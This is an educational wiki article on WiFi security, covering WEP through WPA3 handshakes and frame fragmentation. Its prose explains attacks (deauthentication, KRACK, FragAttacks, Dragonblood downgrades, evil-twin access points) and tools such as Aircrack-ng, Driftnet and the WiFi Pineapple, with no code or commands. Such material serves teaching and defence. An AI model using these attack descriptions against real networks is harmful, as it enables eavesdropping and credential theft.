
=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-05T19:49:17Z

RSchuller: /* WPA */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA supports two types of operation:
* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air.
* Enterprise-WPA or Commercial (802.1X):
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods.

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]